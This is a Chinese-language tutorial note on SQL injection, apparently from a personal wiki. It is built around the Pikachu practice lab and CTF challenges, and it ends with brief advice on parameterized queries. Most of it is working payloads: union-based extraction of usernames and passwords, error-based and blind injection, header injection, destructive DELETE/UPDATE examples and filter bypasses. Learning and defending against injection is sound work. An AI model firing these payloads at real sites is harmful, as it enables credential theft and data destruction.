[*]注意:本文从我的WIKI移植而来,貌似所有的` ; ' "符号都有问题,如果代码跑不动,请不要打我自行修改符号
SQL Inject漏洞概述:
数据库注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的是输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄露的一种漏洞。
SQL Inject原理:
1.恶意拼接查询
例如后端查询代码为
SELECT
FROM users WHERE user_id = $user_id;
其中,user_id 是传入的参数,如果传入的参数值为“1234; DELETE FROM users”,那么最终的查询语句会变为:
SELECT
FROM users WHERE user_id = 1234; DELETE FROM users;
如果以上语句执行,则会删除 users 表中的所有数据。
2.利用注释执行非法命令
例如后端查询代码为
SELECT COUNT(
) AS ’num’ FROM game_score WHERE game_id=24411 AND version=$version;
如果 version 包含了恶意的字符串’-1’ OR 3 AND SLEEP(500)—,那么最终查询语句会变为:
SELECT COUNT(
) AS ’num’ FROM game_score WHERE game_id=24411 AND version=’-1’ OR 3 AND SLEEP(500)—;
该恶意查询只是想耗尽系统资源,SLEEP(500) 将导致 SQL 语句一直运行。如果其中添加了修改、删除数据的恶意指令,那么将会造成更大的破坏。
3.传入非法参数
SQL 语句中传入的字符串参数是用单引号引起来的,如果字符串本身包含单引号而没有被处理,那么可能会篡改原本 SQL 语句的作用。 例如:
SELECT
FROM user_name WHERE user_name = $user_name;
如果 user_name 传入参数值为 G’chen,那么最终的查询语句会变为:
SELECT
FROM user_name WHERE user_name =’G’chen’;
一般情况下,以上语句会执行出错,这样的语句风险比较小。虽然没有语法错误,但可能会恶意产生 SQL 语句,并且以一种你不期望的方式运行。
4.添加额外条件
在 SQL 语句中添加一些额外条件,以此来改变执行行为。条件一般为真值表达式。例如:
UPDATE users SET userpass=’$userpass’ WHERE user_id=$user_id;
如果 user_id 被传入恶意的字符串“1234 OR TRUE”,那么最终的 SQL 语句会变为:
UPDATE users SET userpass= ’123456’ WHERE user_id=1234 OR TRUE;
这将更改所有用户的密码。
SQL Inject漏洞攻击流程
一.注入点探测(数字型、字符型、搜索型)
1.自动方式使用web漏洞扫描工具,自动进行注入点发现
2.手动方式:手工构造SQL Inject测试语句进行注入点发现
二.信息获取:通过注入点获取期望得到的数据
1.环境信息:数据库类型、数据库版本、操作系统版本、用户信息等
2.数据库信息:数据库名称、数据库表、表字段、字段内容(加密内容破解)
三.获取权限:获取操作系统权限:通过数据库执行shell,上传木马
1.数值型注入
一.输入数字1查看返回值
二.在Burp Suite中进行抓包重放,将数字1改为1 or 1=1(1=1恒为真,所以会遍历所有数据)
获取了数据库该查询功能的全部信息
2.字符型注入
猜测后端为select id,email from member where username=’&name’
,因此想办法将name处的’闭合掉,输入kobe’ or 1=1#
(#可以将后面内容注释掉,能让后一个’失效)
3.搜索型注入
一.猜测后端为select username,id,email from where username like ’%$name&’
,因此想办法将name处的’%闭合掉,输入xxxx%’ or 1=1#
二.通过union进行数据获取(union联合查询前后字段数要一致),猜测查询字段数,输入’order by 2#
证明查询字段数>=2
输入’order by 3#
证明查询字段数<3,故字段数为2;
三.进行联合查询,输入’union select database(),user()#
4.information_schema的利用
SCHEMATA:提供了当前mysql数据库中所有数据库的信息,其中SCHEMA_NAME字
段保存了所有的数据库名.show databases的结果取自此表.
TABLES:提供了关于数据库中的表的信息,详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息,其中table_name字段保存了所有列名信息,show tables from schemaname的结果取自此表.
COLUMNS:提供了表中的列信息.详细表述了某张表的所有列以及每个列的信息,其中column_name保存了所有的字段信息.show columns from schemaname.tablename的结果取自此表.
一.输入’union select table_schema,table_name from information_schema.tables where table_schema=’pikachu’#
查询出了pikachu数据库中所有的表的名称
二.输入’ union select table_name,column_name from information_schema.columns where table_name=’users’#
得知该表中包含着username和password的信息
三.查询users表中信息获取账号密码,输入’union select username,password from users#
解密md5密码得到真正密码
5.SQL基于函数报错获取信息(前提:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端)
(1)常见报错函数—updatexml()
作用:改变(查找并替换)XML文档中符合条件的节点的值
语法:UPDATEXML(xml_document,XPathstring,new_value)
第一个参数:fiedname是string格式,为表中的字段名。
第二个参数:XPathstring(Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的
Xpath定位必须是有效的,否则会发生错误
一.输入’ and updatexml(1,version(),0)#
发现版本信息未能完全显示出来
二.输入’ and updatexml(1,concat(0x7e,version()),0)#
三.基于insert update delete的注入
insert:
发现insert漏洞
输入’ or updatexml(1,concat(0x7e,database()),0) or ‘
update:
输入’ or updatexml(1,concat(0x7e,database()),0) or ‘
delete:
获取网页抓包后传至Repeater,输入 updatexml(1,concat(0x7e,database()),0)
,并进行URL编码,然后send
利用成功
(2)常见报错函数—extractvalue()
作用:从目标XML中返回包含所查询值的字符串
语法:ExtractValue(xml_document,XPath_string)
第一个参数:XML_document是string格式,为XML文档对象的名称,文中为Doc。
第二个参数:XPath_string(Xpath格式的字符串)
Xpath定位必须是有效的,否则会发生错误
一.输入’ and extractvalue(0,concat(0x7e,version()))#
发现返回结果和updatexml()一致
6.Http Header注入
一.抓包后测试是否存在SQL注入漏洞
发现存在SQL漏洞
二.在User-Agent处输入firefox’ or updatexml(1,concat(0x7e,database()),0) or ‘
执行成功
7.SQL-Inject漏洞-盲注:
后台使用了错误信息屏蔽方法(比如@)屏蔽了报错,无法在根据报错信息来进行注入的判断。根据表现形式的不同,盲注分为based boolean和based time两种类型。
基于boolean的盲注主要表现症状:
没有报错信息
不管是正确的输入还是错误的输入,都只显示两种情况(我们可以认为是0和1)
在正确的输入下,输入and 1=1/and 1=2发现可以判断
一.输入kobe’ and ascii(substr(database(),1,1)) >113#
二.输入kobe’ and ascii(substr(database(),1,1)) =112#
112的ascii码对于小写字母p,即数据库中第一个字符为小写的p
基于time的盲注主要表现症状:
完全没有回显
但可以通过特定的输入,判断后台执行的时间,从而确定注入
一.输入kobe’ and sleep(5)#
,判断是否执行
确实执行了5秒钟,说明有SQL漏洞,且为time型
二.输入kobe’ and if((substr(database(),1,1))=’a’,sleep(5),null)#
通过执行时间判断,说明数据库第一个字符不是a
三.输入kobe’ and if((substr(database(),1,1))=’p’,sleep(5),null)#
执行时长为5秒,说明数据库第一个字符确实为p
8.通过SQL Inject进行暴力破解
一.输入kobe’ and exists(select * from aa)#
二.在Burp Suite中找到需要暴力破解的对象
三.进行暴力破解
可以发现users为正确的表名
9.SQL Inject注入漏洞的防范
一.代码层面:
对输入进行严格转义和过滤
使用预处理和参数化(parameterized)(推荐)
二.网络层面
通过WAF设备启用防SQL Inject注入策略(或类似防护系统)
云端防护(360网站卫士,阿里云盾等)
若select被过滤:(此处表名为1919810931114514)
1.用16进制编码进行绕过:
select * from 1919810931114514
转换为16进制编码: 0x73656c656374202a2066726f6d20603139313938313039333131313435313460
代码为:
1';SET @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE execsql FROM @a;EXECUTE execsql;#
2.利用handler语句:
1'; handler 1919810931114514 open; handler 1919810931114514 read first;#
强网杯 2019 随便注
若后端查询代码为:
select xxx(输入的字符串)||flag from Flag
1.可以输入代码
*,1
2.或输入代码
1;set sql_mode=PIPES_AS_CONCAT;select 1
第二种是将||作为字符串连接符,因此需要在语句中更改其配置
sql_mode=PIPES_AS_CONCAT时即可
Payload:1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接完之后:select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
相当于是select 1 from Flag和select flag from Flag
若union select等被过滤:
1.考虑双写绕过,如:
username=1’union select 1#&password=1
替换为
username=1’ununionion seselectlect 1#&password=1
[极客大挑战 2019]BabySQL 1
Comments NOTHING